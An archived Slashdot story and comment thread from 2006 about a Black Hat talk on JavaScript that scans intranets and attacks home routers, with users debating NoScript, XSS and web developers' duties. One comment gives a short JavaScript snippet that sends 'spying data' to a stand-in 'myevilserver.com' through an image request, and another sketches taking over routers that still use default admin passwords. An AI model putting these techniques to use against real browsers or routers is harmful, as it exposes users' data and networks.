Beta
×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

JavaScript Malware Open The Door to the Intranet

Zonk posted more than 8 years ago | from the anybody-home dept.

169

An anonymous reader writes "C|Net is reporting that JavaScript malware is opening the door for hackers to attack internal networks. During the Black Hat Briefings conference Jeremiah Grossman (CTO, WhiteHat Security) '...will be showing off how to get the internal IP address, how to scan internal networks, how to fingerprint and how to enter DSL routers ... As we're attacking the intranet using the browser, we're taking complete control over the browser.' According the the article, the presence of cross-site scripting vulnerabilities (XSS) dramatically increase the possible damage that can be caused. The issue also not which-browser-is-more-secure, as all major browsers are equally at risk. Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'"

cancel ×

169 comments

Sorry! There are no comments related to the filter you selected.

JavaScript Malware Open The Door to the Intranet (5, Funny)

Ohreally_factor (593551) | more than 8 years ago | (#15810484)

Caveman Zonk edit headline bad.

Re:JavaScript Malware Open The Door to the Intrane (0)

Anonymous Coward | more than 8 years ago | (#15810495)

A good website shouldn't rely on client side scripting

Re:JavaScript Malware Open The Door to the Intrane (1)

Knossos (814024) | more than 8 years ago | (#15810602)

From what I read on the article and its links, the problem isn't that clients attack servers, its that servers attack clients.

Its not than web developers are relying on client-side code, they're exploiting client-side code in order to attack the client.

Re:JavaScript Malware Open The Door to the Intrane (1)

jdbartlett (941012) | more than 8 years ago | (#15811366)

It's possible to cater for both JavaScript-enabled browsers and those many, many, many text browsers and version 2 browsers being used out there. Websites that do so are typically called "downgradable".

The decision whether or not to do so mostly depends on whether you intend to produce a web site (open and available for all to see) or a web application (a client/serverside application that just happens to be presented inside a web browser). I know that's a blurry line of distinction. Usually people decide whether something is one or the other based on a certain level of dynamic interaction. My golden rule on website vs. web application is this: if you have to pass through a login screen, it's a web application. If not, it's open to the public and is a web site.

Why is this important? If you have to log into a system, you'll first need to be approved by a system administrator. I don't see what's so bad about that system administrator placing certain restrictions on his users, such as supporting only the comparatively more secure browser Firefox. Sometimes, this isn't possible as it breaks some zero-install requirement.

Re:JavaScript Malware Open The Door to the Intrane (0)

Anonymous Coward | more than 8 years ago | (#15810503)



Poor little "s" was heard sobbing because it was left out unlikified. Zonk, don't you think of the children?

Re:JavaScript Malware Open The Door to the Intrane (4, Funny)

Exatron (124633) | more than 8 years ago | (#15810547)

Me, Grimlock, like headline. No want it change.

I'm just a caveman lawyer (0)

Anonymous Coward | more than 8 years ago | (#15810767)

This talk of Javascript malware frightens and scares me, but one thing I do know is this... Zonk should "edit" since he is an "editor."

Re:JavaScript Malware Open The Door to the Intrane (0)

Anonymous Coward | more than 8 years ago | (#15810898)

What, exactly, is wrong with the headline? The term "malware" can be either singular or plural, making the singular "open" perfectly acceptable.
Aside from inconsistent capitalization, you can't fault him on grammar.

Re:JavaScript Malware Open The Door to the Intrane (2, Funny)

Ohreally_factor (593551) | more than 8 years ago | (#15811228)

Your grammar frightens and confuses me.

Re:JavaScript Malware Open The Door to the Intrane (1)

Ohreally_factor (593551) | more than 8 years ago | (#15811243)

It's just a joke at Zonk's expense, and last I heard, he has a sense of humor and can take a joke.

Re:JavaScript Malware Open The Door to the Intrane (1, Funny)

Anonymous Coward | more than 8 years ago | (#15811139)

I'll have the roast duck, with the mango salsa...

ECMAScript (-1, Redundant)

Anonymous Coward | more than 8 years ago | (#15810493)

ECMAScript bird
ECMAScript gnaa
ECMAScript 5th post
ECMAScript post story contents for karma whoring
ECMAScript is dying, confirms netcraft
ECMAScript closes doors; in soviet russia

NoScript (5, Informative)

dvice_null (981029) | more than 8 years ago | (#15810499)

Why can't users just install Firefox and NoScript extension for it. Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

Re:NoScript (5, Informative)

rdwald (831442) | more than 8 years ago | (#15810530)

In addition to blocking JavaScript on non-whitelisted sites, NoScript also prevents Flash and Java from loading unless you specifically allow them on a case-by-case basis. All of those stupid Flash adds will be gone, but you can still view everything you want to! It's a great extension.

specifically allow (1)

nurb432 (527695) | more than 8 years ago | (#15810662)

And people will do it anyway, thinking they are 'safe'.

Feature creep? (2, Interesting)

vain gloria (831093) | more than 8 years ago | (#15811061)

It also blocks the <a ping> attribute, something which won't be introduced until Firefox 2 and for which it's possible to set a pref in about:config. Also, it doubles as an egg timer!

Seriously, NoScript is great, but if I want to block flash I'll install Adblock or Flashblock. If I want to whitelist sites for javascript then I'll use NoScript. Whatever happened to the concept of simply doing one thing well?

Re:NoScript (5, Insightful)

Anonymous Coward | more than 8 years ago | (#15810533)

The problem is not necessiarly the web browsers (and most don't even use Firefox let alone have even heard of that that extension). The problem is the websites that don't properly take steps to protect against XSS (e.g. HTMLencode user input).

Most recently we saw this problem in Netscape's portal.

http://blog.outer-court.com/archive/2006-07-26-n73 .html [outer-court.com]

Developers need to start thinking not only about how to solve the particular business problem but also about how their code could be potentially abused by attackers and take active steps to mitigate that risk.

Re:NoScript (2, Informative)

Asztal_ (914605) | more than 8 years ago | (#15810665)

Funnily enough, Internet Explorer actually warns you when an untrusted site links to a trusted one. I don't know of any other browsers which do this :)

Re:NoScript (1, Informative)

Anonymous Coward | more than 8 years ago | (#15810961)

Other browsers assume everything is untrusted. You can agrue either way wether that is a good or bad idea.

Re:NoScript (1)

justinchudgar (922219) | more than 8 years ago | (#15810845)

I am not a developer; that is, I do not do development full time professionally. I am an IT consultant, which means that I end up being a jack of all (PR related) trades. In addition to helping clients find the , I occassionally do web development. I am a functional programmer. I can write code that does the task at hand; and, I try to write clear maintainable code. I am not an expert in any particular development language; and, I do not have the time or interest to become fully conversant in the state of the art of web security. Although I have no data to back this up; I believe that there are a huge number of people like me writing code for sites. We need to get something up that looks good and works reliably, but, we do not have the knowledge or time to make sure that it is truly secure. It seems that the ideal place for security is not with individual site developers; but, rather with language standards bodies and browser makers. If the language and the runtime environment is secure, the site will be secure independent of the skill and resources of the developer.

Security should be everywhere. (1)

blowdart (31458) | more than 8 years ago | (#15810939)

It seems that the ideal place for security is not with individual site developers; but, rather with language standards bodies and browser makers.

Oh what utter tosh. It's no wonder there are vunerable web sites out there if you think that's an acceptable attitude.

Guess what, I'm a consultant too, but I actually make to the time to keep myself away of these things. Cross site scripting is a simple example, all it takes is for you to remember to encode any output that has come from user input, and pretty much all the server side languages and frameworks have helper functions for this. The fact that you absolve yourself from not knowing about it by saying we don't have time is awful. The fact that you consider a site working reliably if you cannot be sure it's secure is even worse.

The ideal place for security is everywhere and if you aren't telling your clients that than frankly you're not a consultant, but simply a con.

Re:NoScript (2, Insightful)

passthecrackpipe (598773) | more than 8 years ago | (#15811075)

Dude, you must be a troll, but I'll bite. That is just such a load of bullshit, you could *never* be an IT consultant. First of all, if you are coding, you aren't a consultant - a consultant "consults" i.e. you advise the customer on the best course of action to achieve a certain goal. This may be architectural, infrastructure, security, or any other field, but it is *advise* - a good consultant is too *expensive* to be sitting there knocking out code. If your customer can afford to have you write (evidently crappy) code on his dime, you aren't a consultant, you are a tech/engineer, with delusions of grandeur.

Having said that, your attitude is simplistic, and hints of a general lack of intelligence. Whatever kind of engineer you think you may be, you suck at it. I can tell you this simply from looking at your post. Security should be a pervasive part of all you do, whether you are a dev, a server wrangler, or whatver. Saying "we don't have the knowledge or time to make sure its secure" is like a pilot saying "I don't know how close to ground I am, I'm busy enough keeping this plane in the air without having to worry abou...." Cue planecrash.

Re:NoScript (1)

castoridae (453809) | more than 8 years ago | (#15811379)

Agreed on original poster's careless attitude, but I gotta comment on your definition of consultant. I'm a consultant, and I definitely spend my share of time cranking code. Is it cost-effective to a company that has engineers on staff? No, I charge an arm & a leg. But, for one-off gigs that don't justify a hire & for companies that don't have the available coding resources it does make sense.

I guess you can make a semantic argument that when I take this role, I'm an engineering contractor instead of a consultant, but it does become purely a semantic argument.

Re:NoScript (1)

ChaosDiscord (4913) | more than 8 years ago | (#15811419)

I envy you the world you live in, it sounds so much better than the one I live in. In the one I live in, large organizations regularly hire consultants at $100+ an hour to write code; sometimes even ignoring in-house developers would could do the work cheaper. in the world I live in management frequently rewards people who save time and money by doing shoddy security and penalizes people who want to spend a few percent more to do pervasive, correct security.

Re:NoScript (2, Insightful)

BalanceOfJudgement (962905) | more than 8 years ago | (#15811320)

What I don't understand is why the other two who replied to you had to be so visceral about it. A simple "No, no, here's what you can do to make sure things are secure" would have sufficed, but instead one had to resort to calling you a troll and the other had to call you a con.

Alas, I'm realizing that is a common experience on Slashdot. I always imagined geeks who were full of themselves, I guess I had to come here to really find them.

Anyway, just brush that off, take the good from what they had to say, and leave it at that.

Really, why people need to think of this place as a place to fight...

Re:NoScript (3, Informative)

Anonymous Coward | more than 8 years ago | (#15810534)

You missed what they are saying. Even if you whitelist a website, that site can be crossscripted and become infected.
RTFA.

Problem Solved? (2, Interesting)

Petersko (564140) | more than 8 years ago | (#15810551)

"Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

The consequences of disabling Javascript can lead to a host of new problems. I used to disable javascript and enable it by whitelist. Then I registered a piece of shareware, paid by credit card, and waited. Of course since the whitelisted servers forwarded off to some other entity which provided the registration pages, it never came back. So I figured out the servers that it was dealing with, whitelisted them, and reregistered.

Naturally I got double-billed. The shareware provider kindly fixed that situation, and I was credited, but this situation was a good example of why whitelisting sites is not the solution.

Doesn't work that way with NoScript (1)

sgant (178166) | more than 8 years ago | (#15810754)

NoScript just blocks the javascript...doesn't send it off to somewhere else nor creates any "whitelist". If you're at a site that you need Javascript to run, the little icon down in the lower right hand corner will have a pop-up menu to enable Javascript for that site you're on. You can have it enabled just for that session or permanently.

I've used NoScript now for quite a while and I love it.

Re:Doesn't work that way with NoScript (2, Informative)

fotbr (855184) | more than 8 years ago | (#15810855)

If you're at a site that you need Javascript to run, the little icon down in the lower right hand corner will have a pop-up menu to enable Javascript for that site you're on. You can have it enabled just for that session or permanently.
You just described a whitelist.

His TRANSACTION was sent off elsewhere, to another site, and because THAT site hadn't been whitelisted, he didn't get an acknowlegement that his payment had been accepted.

I know you no-script fanboys can't stand the idea that your favorite tool might not be perfect for everyone, everywhere, all the time, but learn to read before spewing your fanboy-ism.

Re:NoScript (1)

QuietLagoon (813062) | more than 8 years ago | (#15810586)

Why can't users just install Firefox and NoScript extension for it.

Why not just install Opera 9 and use the new site management capability to manage javascripting. You can disable javascript by default for all sites, and only allow javascript to run on those sites that you trust.

Re:NoScript (0)

Anonymous Coward | more than 8 years ago | (#15810804)

Not to mention that it provides at least some white/blacklist functionality to only enable certain javascript functions. Though nowhere near as full as one can with Privoxy/Proxomitron/Proxomido

Re:NoScript (0)

Anonymous Coward | more than 8 years ago | (#15810713)

Have to agree - the summary, "which really isn't a solution because so many Web sites rely on it." is a load of BS. I have NS installed for about 6 months now, and browse the vast majority of sites fine without needing JS. You get the odd site that doesn't work at all, and at that point I make a judgement call, do I trust the site, do I *really* want to visit the site etc etc of those cases about half the time I just move on and the other half I give permission. Why on earth should I give sites the ability to run a load of advertising, counter and tracking scripts on my machine?

Re:NoScript (1)

sowth (748135) | more than 8 years ago | (#15810876)

Why can't users just run any browser, including those which don't support javascript? I would like to use Dillo, but many websites require javascript, even for things which should not. Why must they do this?

Re:NoScript (1)

BalanceOfJudgement (962905) | more than 8 years ago | (#15811345)

Because JS is the "wave of the future"! Everyone wants JS, even for crap like viewing an image! Who needs the [img] tag, let's pepper the html with document.write, because that makes everything so much easier!

Uhh...

Yeah really I don't get it either.

I always browse with JS turned off and only enable it when I really, absolutely need to, or on sites I really trust. I figure, any other sites are a)using it for fluff I don't care about (like fancy dropdown menus that have no business using JS) or b) probably trying to do stuff with my computer I don't want to do anyway.

Re:NoScript (1)

Jessta (666101) | more than 8 years ago | (#15810880)

Yeah, I've used NoScript.
The problem is that so many sites pointlessly rely on javascript.
large numbers of them are un-navigatable without javascript enabled.

If I blocked javascript on all sites that I visited that I didn't completely trust then I wouldn't be able to use a large number of sites. It's a problem of idiot web developers who don't know what they are doing, but think it will be COOL!
eg. non web application sites using 'AJAX' because it's the new cool thing.

Re:NoScript (1)

Rob Kaper (5960) | more than 8 years ago | (#15810889)

I would however like to finally obsolete the User-Agent request header for a Standards/Capabilities header. It's possible to detect JavaScript support, Flash capabilities, sure.. but it should simply be something the client tells the server in the request in the first place.

I'm currently playing around with AJAX (shameless plug: a MySpace with better usability in PHP [robertjognkaper.com] ) but because I can't see if JavaScript is on or off on the server side easily, I have to generate pages which include interface definitions for both possibilities (where the JavaScript version is hidden and substitutes itself for the static version onLoad).

It would make development so much easier and would definitely assist people who do care about their visitors to aptly serve them pages optimised for their browser preferences.

Re:NoScript (1)

Ckwop (707653) | more than 8 years ago | (#15811570)

Why can't users just install Firefox and NoScript extension for it. Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

Not quite, you see that means you have to trust the web-sites you use to not allow any XSS attacks. For example, I imagine that most people would not have second thoughts about trusting altavista.com, however, clicking on a crafty link [altavista.com] [1] to this site could result in serious trouble.

The only solution that is guaranteed to work is to disable Javascript completely. Why do we, as consumers, always find ourselves in the shit? We should demand better security than this.

Simon

[1] - I certify that this link is safe to click.

Simple fix to an obvious problem (4, Insightful)

pieterh (196118) | more than 8 years ago | (#15810502)

Giving JavaScript the power to do random network accesses may make AJAX possible, but code running in my browser has no business accessing my local intranet. For that matter, I'm uncomfortable with JavaScript applications 'phoning home' without my knowledge.

So, the fix is to treat all attempts by JavaScript in a browser as 'hostile until proven otherwise', and to ask for user confirmation when such attempts happen. Put a firewall around the browser and treat any code running in it as dangerous by default.

I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

Re:Simple fix to an obvious problem (5, Interesting)

ergo98 (9391) | more than 8 years ago | (#15810514)

Giving JavaScript the power to do random network accesses may make AJAX possible

The XmlHttpRequest functionality doesn't allow "random network access", but instead is limited to calling the source website (in all browsers but IE. In IE the requests can go anywhere).

I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

Fix what though? The submission seems to be that someone has a big surprize that they're going to release at a conference, and for all we know they could be full of shit, talking big to get a lot of attention. Personally I would rather that this story was shelved until there's actual details that can be addressed/rebutted. Instead it's like lame nightly news teasers.

"Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."

"Paranoid Mode" extension - a proposal (1)

CdBee (742846) | more than 8 years ago | (#15810573)

What might be smart is an extension hooking into the security subsystems in Firefox to allow the browser to do into "Paranoid Mode" when browsing any site not on the user's favourites or safe-list.

Paranoid Mode would block all plugins, cookies and javascript, and optionally have a "click-to-load" button in place of content from other servers

Re:Simple fix to an obvious problem (1)

BalanceOfJudgement (962905) | more than 8 years ago | (#15811383)

(in all browsers but IE. In IE the requests can go anywhere).
I'm not sure about that. I ran into the same security restrictions in IE that exists in the other browsers using AJAX. The only solution to the problem was to get rid of the 'www' in the URL, EVER - so users always browse on http://thesite.com./ [thesite.com.]

By the way, about your sig:
"Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."

I hate when stations do that. It's like.. if it's so deadly isn't it kind of your obligation to tell me what it is without forcing me to watch an hour of advertisements?

Re:Simple fix to an obvious problem (1)

BalanceOfJudgement (962905) | more than 8 years ago | (#15811437)

Sorry, it was part of your post, not your sig. I'm a moron.

Re:Simple fix to an obvious problem (4, Insightful)

Goaway (82658) | more than 8 years ago | (#15810527)

document.createElement("img");
img.src="http://myevilserver.com/phonehome.cgi?evi lspyingdata="+encodeURIComponent(evilspyingdata);
document.body.appendElement(img);


Oops! I just phoned home without using XMLHttpRequest! How are you going to firewall that one out?

Re:Simple fix to an obvious problem (2, Insightful)

Ougarou (976289) | more than 8 years ago | (#15810567)

As said: the problem is not the XMLHttpRequest that can be done: this is site bound in Firefox. (I think it's domain bound, not site bound actually, but ok)

The problem is the ability of a homepage to be spread over different servers and locations. The only solution I see is getting images to be domain bound to.

This solution will only work if it is set on all possible media that is embedded in the page, allowing only relative links for embedded media. Of course, this would totally destroy most parts of the internet.

What I don't understand is why and how Javascript can get my local IP address: who even needed that to be implemented?

Re:Simple fix to an obvious problem (0)

Anonymous Coward | more than 8 years ago | (#15810589)

Of course, this would totally destroy most parts of the internet.

Well, thank you for that most creative and insightful suggestion.

Re:Simple fix to an obvious problem (2)

Joce640k (829181) | more than 8 years ago | (#15810687)

What I don't understand is why and how Javascript can get my local IP address: who even needed that to be implemented?


This is moot. The server which served you the page already has your IP address.

Re:Simple fix to an obvious problem (4, Informative)

tomjen (839882) | more than 8 years ago | (#15810714)

It has the IP address of the NAT router - not, not, not the internal ip of the computer making the request through the NAT router.

127.0.0.1 (0)

Anonymous Coward | more than 8 years ago | (#15810753)

pwn3d

Re:Simple fix to an obvious problem (1)

Ougarou (976289) | more than 8 years ago | (#15811199)

Not true, when using NAT the server serving the pages get's your internet wide address. What the article is talking about is the local (local network, as in behind a router) address. This can only be found client-side at the moment and apperently Javascript allows you access to this.

Re:Simple fix to an obvious problem (1)

grahammm (9083) | more than 8 years ago | (#15811356)

Firefox already has a "load images only from originating site" option.

Re:Simple fix to an obvious problem (0)

Anonymous Coward | more than 8 years ago | (#15810672)

but code running in my browser has no business accessing my local intranet.

What if the JavaScript is part of the web-based admin utility for your router? What if you're running some other kind of server on your LAN?

Think first, then type. It works much better that way.

Re:Simple fix to an obvious problem (3, Insightful)

roman_mir (125474) | more than 8 years ago | (#15811251)

this is not insightful, it's silly. This is not even about JAVASCRIPT. An HTML page can access resources from anywhere on the web. And so if JAVASCRIPT is used to access one of those resources (an http request, as in HTML IMAGE tag for example,) then this problem cannot be fixed at JAVASCRIPT level.

An HTML page can access an image on a third party server via a normal html tag, a javascript can facilitate that access, that's about it. In that http request parameters can be hidden that provide information about your session.

The trick with JAVASCRIPT scanning your local network is actually this exact feature: a browser allowing HTML page to load resources from anywhere on the network. JAVASCRIPT is used to manipulate the DOM of the HTML, the GUI event model and the http requests. So the fundamental question is this: should and HTML page be allowed in principle to access resources from third party servers and not from its own server.

But then you are questioning the entire Hyper Text idea - the linking of the Internet.

This most certainly will not be fixed in the next release of ANY browser.

How's this news? (2, Insightful)

Anonymous Coward | more than 8 years ago | (#15810516)

A portscanner in javascript is trivial and it runs on the client machine behind the corporate firewall. This isn't news, this has been common knowledge for ever. This is why javascript is disabled throughout any organization that takes security seriously. I find it amusing that this only gets planted in the news when certain large tech companies are pushing ajax to replace desktop apps.


It's not just javascript, flash content, activeX and java applets should all be disabled site-wide. Any network admin that leaves js enabled in browsers (acrobat reader etc) should probably seek employment in some other field. Anything less is irresponsible!

Re:How's this news? (0)

Anonymous Coward | more than 8 years ago | (#15810699)

Any responsible admin should not depend on pseudo security measures like changing client javascript settings but secure the network sufficiently to render such "trivially" available information insufficient for an attack.

Re:How's this news? (1, Informative)

Anonymous Coward | more than 8 years ago | (#15810811)

> pseudo security measures

Removing an attack vector is pseudo security? Are you for real?

I suppose you think that the latest firefox only fixed "pseudo security" vulns?

http://www.mozilla.org/projects/security/known-vul nerabilities.html [mozilla.org]

I count 12, all of which would be prevented by disabling javascript.

Corporate users need access to departmental servers, you can either disable script, deny outright or sandbox their web access via a VM. It's firewalls and vlans that have become pseudo security once an attacker has compromised a workstation.

Oh well, let's prevent people doing their jobs (2, Funny)

Flying pig (925874) | more than 8 years ago | (#15810932)

Because it worked so well for the KGB. KGB agents planted by photocopiers to ensure the wrong documents didn't get copied. Typewriters with unique typefaces in a single nonstandard size so that official documents couldn't be faked. Yes, if you are restrictive enough eventually you can bring everything crashing to a halt. However, the concept that everything is forbidden except what is compulsory has hardly proven the most successful business paradigm. IT is supposed to be an enabling technology, not a disabling technology. The sudden focus on security has brought to the fore all the anal retentives who secretly want to stop people doing things, and now have a justification for doing it.

The answer with all these technologies is to get away from the "everything is permitted, everything links to everything else" model that Microsoft promoted till it ran into trouble, and work out a way of implementing security policies that are comprehensible and that work.

Re:Oh well, let's prevent people doing their jobs (0)

Anonymous Coward | more than 8 years ago | (#15811332)

It has been my experience that attackers don't generally compromise networks to help employees do their jobs. If a department really does need scripting, we can deploy a VM bound to the DMZ. What's interesting to me is that you assume javascript is "enabling" when there's rarely any genuine technical requirement for it.


I had to check a flight arrival time recently, the airport web site required javascript and flash before it would impart this information. I'm curious if these requirements, to access something that would display fine as html or plain text, could ever classify as enabling technology? We're all versed in double-speak, however, in this case would it not be more accurate to describe these as disabling technologies?


At least we still have the telephone where I can wait in line, alternately cursing the robot woman and the choice of hold music whilst I await confirmation of 16:25. Should the robot woman and hold music also be classed as enabling technologies?

The sudden focus on security has brought to the fore all the anal retentives who secretly want to stop people doing things, and now have a justification for doing it.



That isn't it at all, [wikipedia.org]

I agree with your later comments on security and your observations on the KGB although I think these and the text I quoted above are more analogous to the war on terror.

Re:How's this news? (4, Informative)

liquidpele (663430) | more than 8 years ago | (#15811520)

Actually, organizations that take security seriously usually still have javascript enabled, but they secure their damn networks so that once you're past the external firewall, you're still blocked from anything interesting.

Having only one layer of security is the problem at hand here, not javascript. Javascript is incredably useful, and disabling is certainly not the best answer for most places (I can see govt organizations or sensitive research sections of companies doing this though, but then again why event allow net access at that point?)

NoScript extension could be a saviour (4, Informative)

CdBee (742846) | more than 8 years ago | (#15810538)

For about a year now I routinely install a whitelisting firefox extension called NoScript [noscript.net]
It blocks javascript per-site until I choose to whitelist the site: Not only do I get a great deal fewer annoyances interrupting my browsing, but it also cuts out a lot of web advertising (the AdBlock extension makes my browser drag when fully loaded with filters)

Re:NoScript extension could be a saviour (0)

Anonymous Coward | more than 8 years ago | (#15810550)

Competent web developers, by definition, do not produce sites where core functionality depends on client-side script.

A solution to this problem. (0)

Anonymous Coward | more than 8 years ago | (#15810562)

As daft as this may sound. I think a simple solution would be to prevent the JavaScript from accessing any private IP's such as as those defined in the RFC's, those being. 10.0.0.0 172.16.0.0 192.168.0.0 .
If someone happens to be running networks and sub-nets other than those they are no longer in a 'local' network as their machines are at risk per se due to their traffic being fully routable on the net.
I see every reason for the JavaScript to go and pull and push data from sites all over, but there is zero need for it to use these local restricted addresses.

Maybe this is too simple? Maybe that is why it has been overlooked.

Re:A solution to this problem. (2, Insightful)

Goaway (82658) | more than 8 years ago | (#15810578)

Except that, you know, maybe they want to actually use JavaScript apps on their intranet?

There was an old lady who swallowed a fly... (0)

Anonymous Coward | more than 8 years ago | (#15810599)

You'd need to taint all js initiated requests for that to work and even then how would a browser handle a HTTP redirect to an internal IP?

The simple solution is to disable javascript and insist web sites work without it.

WMVs (3, Insightful)

CosmeticLobotamy (155360) | more than 8 years ago | (#15810571)

This is slightly off-topic, but it's kind of relevent to the solution of turning javascript off. Can anyone explain to me why javascript is required in Firefox to open a .wmv file (in windows, obviously)? And more importantly, what bug makes Firefox crash about 33% of the time when visiting a site that has one on it when javascript is disabled? What are the odds that bug is overflow exploitable?

Configure which sites get javascript? (3, Insightful)

Anonymous Coward | more than 8 years ago | (#15810655)

I have been asking for years why we can't disable javascript for all but trusted sites (in phoenix/firefox/etc) via a config facility.. The default when browsing should be OFF.

Websites need to stop using javascript for conveying simple information. That Flash crap too. Most people just laugh when I say javascript is a security hole.

Re:Configure which sites get javascript? (1)

John.Thompson (199699) | more than 8 years ago | (#15810677)

Ah, but you can:

    http://www.noscript.net/whats [noscript.net]

Completely blocked the "proof of concept" script here.

Re:Configure which sites get javascript? (1)

datadriven (699893) | more than 8 years ago | (#15810721)

It's a little odd that there's an add that moves itself using javascript on a page for an extension that blocks javascript.

Re:Configure which sites get javascript? (1)

Ph33r th3 g(O)at (592622) | more than 8 years ago | (#15810794)

Incentive to download the plugin :).

Re:Configure which sites get javascript? (1)

BalanceOfJudgement (962905) | more than 8 years ago | (#15811478)

There is?

Hmm, already having NoScript, I didn't see the ad.

It works! :D

Re:Configure which sites get javascript? (0)

Anonymous Coward | more than 8 years ago | (#15811163)

Ah, but you can:

        http://www.noscript.net/whats [noscript.net]


Well... Where's the source code for that? I looked over the site pretty closely and couldn't find any links to the source. Maybe it is in the xpi but I shouldn't have to dig for it there. Also, the uninstall information was extremely lame and basically punted you elsewhere.

Re:Configure which sites get javascript? (1, Insightful)

Anonymous Coward | more than 8 years ago | (#15810694)

Most people just laugh when I say javascript is a security hole.

Especially prepare to be belittled by those with vested interests in web2.0(TM). These people know full well that client-side scripting is security problem #1 but would prefer if the truth never got out.

Here comes another flamebait mod!

I tried the "proof of concept" here... (2, Informative)

John.Thompson (199699) | more than 8 years ago | (#15810701)

And it found some, but not all the web-enabled devices on my network. It found my web server and correctly identified it as Apache, found the squid proxy running on the gateway/firewall machine (identified as "unknown"), but failed to find my wireless router (through which it had to pass in order to see the rest of my network), or my print server. It also identified as "exists" several IP addresses on which no machine or device exists.

But the Firefox "NoScript" extension completely blocked it until I told it to temporarily allow the host site.

Re:I tried the "proof of concept" here... (0)

Anonymous Coward | more than 8 years ago | (#15810736)

Thanks for reporting your experiences, it is interesting that the POC didn't find all your web enabled devices. Are all these devices listening on port 80? Are you running any personal firewall software on the machine that ran the script?


But the Firefox "NoScript" extension completely blocked it until I told it to temporarily allow the host site.


If developers have been sloppy enough to create a site that requires javascript, what are the chances they audited it for XSS bugs? NoScript whilst significantly reducing the risk is only a partial solution to the problem.

Re:I tried the "proof of concept" here... (1)

makomk (752139) | more than 8 years ago | (#15810813)

Roughly the same here in Firefox - it found the webserver on my local machine (though it couldn't identify it), didn't find the Netgear wireless router (possibly down to the password-protection on it), and about every third IP address was incorrectly identified as existing. (In Konqueror, it found my local machine, but not the webserver running on it).

Re:I tried the "proof of concept" here... (2, Interesting)

vtcodger (957785) | more than 8 years ago | (#15810820)

***but failed to find my wireless router (through which it had to pass in order to see the rest of my network), or my print server. It also identified as "exists" several IP addresses on which no machine or device exists.***

Doesn't the second part of that make you a little nervous? One possibility is that it is finding your router and print server, but not where they are supposed to be. Could be an error in the program, but it could be some 'feature' of your network environment that you'd like to know about.

Re:I tried the "proof of concept" here... (1)

Billosaur (927319) | more than 8 years ago | (#15811226)

But the Firefox "NoScript" extension completely blocked it until I told it to temporarily allow the host site.

And that's lovely, until you realize that not everyone runs Firefox and in many corporate environments, IE is still the defacto standard. Hoping a browser will rescue application developers from bad security design is like hoping Paris Hilton wins a Nobel Prize.

Security starts with code; if the code isn't secure, then you're asking for trouble. Programming classes in colleges and tech institutes are going to need to start stressing secure code writing if we're ever to stem the tide of these kinds of things.

Javascript Haters Society (3, Insightful)

bateleur (814657) | more than 8 years ago | (#15810718)

So in response to a post saying a particular technology has security holes, the consensus "solution" is not to use that technology?

That seems weak to me. By all means propose replacement solutions that do the same job, but by saying "don't use it" all you're really doing is saying "I personally have little use for it".

Sysadmins should all disable Javascript?! Fine, go ahead, I'll move to a company with less demanding security requirements. You'll find your network's impressively secure once there are no users left.

Reality Haters Society (0)

Anonymous Coward | more than 8 years ago | (#15810822)

"So in response to a post saying a particular technology has security holes, the consensus "solution" is not to use that technology?"

It's nice to know that the advice we give Microsoft users, doesn't just apply to them anymore.

Javascript = One really bad idea (0, Troll)

vtcodger (957785) | more than 8 years ago | (#15810756)

***Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'" ***

Look folks, this isn't rocket science. Given the current state of Computer Technology, downloading obscure programs from a remote source outside your control and running them can't possibly be a good idea. It may occasionally be necessary, but it's something that should be done as rarely as possible. If you don't even know the programs are there because they are buried in web pages, that just exacerbates the problem.

The answer: Turn off Javascript, and let the web site designers find some other way to entertain themselves. Forcing web sites to use HTML and server side scripting may limit their style and the coolness of your user experience, but if you want your computer(s) and network to be somewhat secure then you better forget Javascript. Personally, I have only one Javascript enabled browser (Firefox) and I try to use it only with sites like Google and a handful of others that I consider to be trustworthy.

Re:Javascript = One really bad idea (1)

CTho9305 (264265) | more than 8 years ago | (#15811413)

Yeah, because there are no [ctho.ath.cx] good [ctho.ath.cx] uses [ctho.ath.cx] at [ctho.ath.cx] all [ctho.ath.cx] .

Doing a quick parse of the article... (1, Insightful)

Skiron (735617) | more than 8 years ago | (#15810757)

...I think this is only relevant to IE and MS [again]. As to sending commands to a 'router' to turn on wireless (if I even had a router that had wireless) is pants unless the 'owner' of the router wasn't the person using it (i.e. an ISP package). The interface must be open to allow this to happen.

So, the problem is with MS (again) and 'harry home owner' type people that don't have a clue about anything, so just run with the flow [OK].

IE only? Utter rubbish. (1)

blowdart (31458) | more than 8 years ago | (#15810966)

I think you moved too quickly through it, there's nothing to indicate it's IE only (unless you're karma whoring *grin)

In fact the article explains some of the methods and they will happily work on Mozilla as well;

The JavaScript scanner determines whether there is a computer at an IP address by sending a "ping" using JavaScript "image" objects.

I'm pretty sure I can use javascript in mozilla to create image objects. Why I can do it in Opera too. And if you actually went to the proof of concept page and tried it [spidynamics.com] you would have confirmation it is NOT an IE only problem.

Re:Doing a quick parse of the article... (1)

acidblue (716452) | more than 8 years ago | (#15810969)

Actually, I think the issue with "sending commands to routers" is not a Microsoft thing but more of a platform agnostic thing. It's more of a router issue.

Most people buy routers and do not change the default settings (credentials are what I am really talking about). So, lets say someone has a Linksys router on their network. All I need to do is create a form on a webpage, authenticate using javascript (with just a default password of 'admin'), then post the data that the router's web forms expect. It doesn't seem that difficult to me.

Re:Doing a quick parse of the article... (1)

vtcodger (957785) | more than 8 years ago | (#15810980)

I don't see javascript vulnerabilites as being limited to Windows or IE. Why would they be? In fact, attacks on routers and such if they happen are probably going to be attacks on specific unix configurations.

